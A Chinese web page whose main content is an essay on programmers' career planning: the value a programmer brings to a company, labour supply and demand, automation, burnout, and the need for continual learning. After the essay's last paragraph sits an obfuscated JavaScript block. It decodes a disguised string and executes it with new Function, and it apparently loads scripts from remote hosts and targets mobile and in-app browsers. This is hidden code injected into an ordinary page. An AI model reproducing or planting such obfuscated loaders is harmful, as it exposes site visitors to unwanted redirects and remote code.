推荐回答(2个)
我感觉不是吧!
来我们来聊一聊程序员的职业生涯规划
前言
随着移动互联网的普及,催生了大量各种互联网相关的职业,也有大批的青年才俊涌入了这个市场,虽然是蓝海,红利满满,但是如何能在这一波浪潮下激荡向前,而不是像浪花一样昙花一现?可以从这波互联网行业的职业价值,深入研究,发现其中的供求关系,为企业提供的真实价值,了解真正的核心竞争力才能像自行车这样不断向前,处于真正的稳定。
程序员的真实价值
老板之所以雇用我们,是想要我们给企业带来价值,说白了,就是直接或者间接的帮公司挣钱。我们的薪资,一般是作为公司的人力成本。虽然控制成本很重要,但其实真正的重点却在你为公司带来的价值和你的薪资之间的差额。
所以当老板觉得你的薪资高了,其实是在说你为公司带来的价值不够。 当我们来到一家新公司工作,由于没有实际工作的数据可以衡量,你认为自己的价值、公司认为的你的价值和最终你给公司带来的实际价值之间会存在一定误差。而简历和面试,就是为了让你认为的你的价值和公司认为的你的价值离得更近。简历其实就是一个价值主张,它说的是:我到这家公司来,能完成这些和那些工作,为公司带来这样和那样的价值,而我只要这么一点点的薪水,所以赶紧雇用我吧。
总之,一定要改变我上班别人给我钱的思维方式,转换到我能为这家公司创造什么价值的方向上来。 这种换位思考能帮助你想明白很多事情,比如说:
拥有一系列技能的同一个人,在不同的公司创造的价值往往是不同的,于是他能拿到的薪资也就不同。
公司雇佣一个人,并不是看他有多牛,而是看他能给公司带来哪些价值。 虽然大部分情况下,个人能力和能给公司带来的价值是正相关的,但如果你能提出并证明一个更好的价值主张,你很可能就会比这个牛人更适合这家公司。 一个极端的例子是:一个顶级架构师在一家使用无服务器端架构的创业公司很可能没有用武之地,而一个客户端高手在这家公司里可能能搞定一切。
程序员市场的供求关系
当一个岗位供大于求时,招聘方就有了更多的砝码来压低薪资,从而获取更多的剩余价值;而当一个岗位供小于求时,候选人就有了更多的选择,也就更值钱。 一个岗位的供求从长远来讲,是受行业和技术发展影响的,比如随着网络的大规模发展,同样是从事软件开发工作,传统软件的开发岗位就没有互联网和移动开发岗位的需求量大;而从短期来讲,每一波浪潮带来的新兴市场和高利润的行业交叉细分市场职位就会更值钱一些,而只要专注于新兴市场和细分市场则会让你始终处于浪潮的前沿,享受这波浪潮带给你的红利。例如ios刚出来的时候,你的竞争力可以在短时间内赶上或者超过开发J2ME开发功能机的资深工程师。
程序员的本质
自动化 其他行业的工作,都需要由人来完成;今天做的事情,明天可能还要同样的做一遍。但这是人类工作的方式,不是机器工作的方式。
软件,仔细想想,它不就是一系列可以重复执行的命令么?
为了让机器去做重复的工作,我们才需要编码,通过各种编程语言告诉机器如何去完成一项特定的工作,而在这之后,这项工作就由机器完成了,再也不需要人类来参与。程序员的注意力会转移到下一个还没有被自动化的工作上。
为什么一个好的程序员可以代替很多普通的程序员?
深入理解了程序员们和重复的不共戴天以后,你就会明白为什么一个好的程序员可以代替成百上千个普通的程序员,因为机器放大了这个差距。如果一个普通程序员在重复劳动,那么一个好的程序员花一天写段代码就能干掉他一年的活。
所以你看,程序员就是不断的干掉自己的后路,逼着自己去做创造性的工作,不断指数级的提升生产率的职业。
工程化是关于如何 低成本、高效率、按时按量完成既定任务的。
所以判断一个工程师是否优秀,并不是他多有创意多有名气,而是看他有多稳,看他能多 Getting Things Done,中文就是靠谱。
有时候一个好的解决方案,未必采用了最新的技术和框架,而是看上去朴实无华,功力都包涵在背后的细节里。就像顶尖高手打的斯洛克台球,每一杆都平淡无奇,只是因为上一杆的回球太到位。
同样的,一个好的工程师,会选择最适合需求和团队的方案,考虑开发效率和系统效率的均衡,从而已达到最优效果;而不是整天和别人去争论什么语言最好、哪些框架过时了。
工程化和自动化可能是程序员职业中最重要的两个信念,如何在保证工程品质的前提下,创造性的通过自动化来避免重复劳动,是值得我们花上经年累月的时间,在工作中时刻思考和实践的问题。对这个问题的思考,将帮助你获得前所未有的竞争力,比如说,如果你拥有了一系列的半自动化工具,在人工智能日益成熟的时代,它们就可能变成全自动工具,这背后的职业价值和商业价值不言而喻。
程序员的焦虑
互联网是一个新兴但高速发展的行业。新兴意味着没有那么多的行业大咖给新人指点江山,也没有一套公认的可靠的可复制的职业发展秘籍。高速发展意味着变革与竞争,大量新人因为大势所趋而涌入,如果不想被后浪拍死在沙滩上,则必须不断学习,不断提升自我,以保持在淘汰线以上的水准。
中国互联网行业工作强度很大,而一线的初创公司更忙,然而大部分刚刚进入行业的从业者60%都将进入初创公司。秉承着小步快跑,快速迭代的原则,开发出人员更是战场中的冲锋陷阵的骑兵,长时间的透支身体,在高速公路上高负荷前行,就是顶级跑车,也会力不从心,产生焦虑。
程序员职业复利性
就好比理财利息的计算方法一样,在资金一样的情况下,复利的回报要远远超出单利,而年限越长,复利的效应就越明显。而我们从事的职业一样有这样的效应,选择一个优秀的职业,在职业生涯后期会展现出越来越高的复利回报,就好比指数的微笑曲线,律师,医生是复利性高的职业选择,选择大于努力,一个优秀的选择则可实现弯道超车。
软件开发人员的职业复利性较差主要表现在以下两个方面:
不同方向的开发人员都有着自己所熟悉的开发语言,专业性较强,虽有语法有一定的通用性,但是技术深度则需要时间来积累,可转移的只有编程设计思想,编码规范等通用信息。
如果没有明确的规划,或者是面向工资编程,即使抓住了趋势,吃到了头部红利。但你的日常工作积累的不是通用知识和综合能力,可能仅仅是对某项技术的熟练度与经验,如果没有自我驱动的自律与动力,仅仅是完成公司的业务,那就是业务驱动,工作经验反而成了你的累赘,把你拖下泥潭。
程序员职业的壁垒
大部分奋斗在一线的开发人员把自己的职业与某项技能紧密相连,作为一个开发人员肯定会了解一个高度耦合的代码一定就是纠缠不清,牵一发而动全身,只有高度抽象的函数式编程才能在一次次迭代重构中稳如泰山。互联网行业变化太快,都说天上一天,地下一年,互联网从业者又何尝不是在飘在天上。回首看下诺基亚的发展,桌面级应用的开发,整个行业如大浪淘沙,随着各种云平台的崛起,各种API服务的开放,开发人员的工作效率会大大提升,就好比农业社会转向工业社会,并不是农业人口劳动力过剩,而是技术的创新解放了更多的劳动力,从而涌入新的行业。互联网亦是如此,生产效率的提高,在有限的土地上会淘汰掉更多的低产从业者。如果此时到了你的职业生涯中期,仅仅依靠熟练度和辈分在公司中作为你的核心竞争力,那么你将会被解放(解雇)......
而互联网行业其实也早已洗牌与无形之中,例如基础运维工程师,DBA,基础算法工程师,安全工程师,图像算法工程师,数据工程师等等都在此列。 转眼间2018已经过去四分之三,互联网的红利不知道还有多久的延续,站在风口,顺势而为,但是回首一下过往,风口是那样的短命。
从最早的微博微信社交大战火了三年,然后020和P2P普惠金融火了两年,直播和共享单车火了1年,无人货架布局的硝烟也已经不在弥漫,仅仅就在2018,直播答题,到知识微商,到区块链,短视频平台等等诸多风口,也是乱花渐欲迷人眼。机会从来就没有变少,只要你keep study,keep hungry. 你的可转移能力不断提升,你终将在一轮轮大浪淘沙中脱颖而出。
程序员职业能撬动的价值有限
职业能影响的人越多,制造的价值越高,职业的上限价值也越高。
互联网行业的供求关系和价值体系造成了一个现象,前几年的大众创业,万众创新的创业潮中,造成了程序员供不应求的现象,随处可见的都是我有一个可以撬动地球改变世界的idea,现在还差一个程序员就可以3个月推出mvp,5个月拿到天使轮,纳斯达克也不是没有那么遥不可及。随着这一现象催生除了大量培训机构,互联网市场也变得鱼龙混杂,技术参差不齐。以及风口上的猪不断的迭代,o2o泡沫的消逝,市场变得不再那么供不应求,终将会回到良币驱除劣币的时代。你要知道加州淘金热中赚的盆满钵满的不是那些远渡重洋,不为万千险阻的淘金客,而是那些卖铲子提供基础设施的卖家。靠技术在it界立足的也只有那些不知道熬过多少个日夜,付出大量精力来提高生产效率的技术专家,没有任何捷径可走,即使你天赋异禀,也有万千个刻意练习更加努力的人与你竞争。对于普通的开发者,对技术并没有那么深的热爱,往往工作五年后工资也趋于稳定,对于大多数公司来说,你的熟练度和经验达到了一定的阈值,其对公司效益的提高是有限的,在5年这个瓶颈期,长期享受了高增长之后的从业人员将引起增长缓慢的瓶颈期焦虑。
如何应对
所谓稳定就是最大的谎言,之前有一篇朋友圈的热文,曾经挤破头想进入的高速公路收费员等铁饭碗也被慢慢淘汰,也有诸多BB机维修工程师等热门梗,这充分说明了人就像一辆自行车,只有动起来,既往不恋,纵情向前才是最稳定的。重新定位自己的职业生涯,不以熟练度作为自己的核心竞争力,不把自己的职业生涯押注在某项单一标的上,而是keep study ,keep hungry ,持续不断的提高自己的可转移能力,视野,格局等,在现有的公司里不断加强自己的不可替代性。
程序员工作强度大,可能经常会有报道说各种猝死之类的,但是各行各业都有这样的情况。只是程序员的报道出来了。程序员经常加班是真的,因为工作强度大,所以工资都比较高。
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();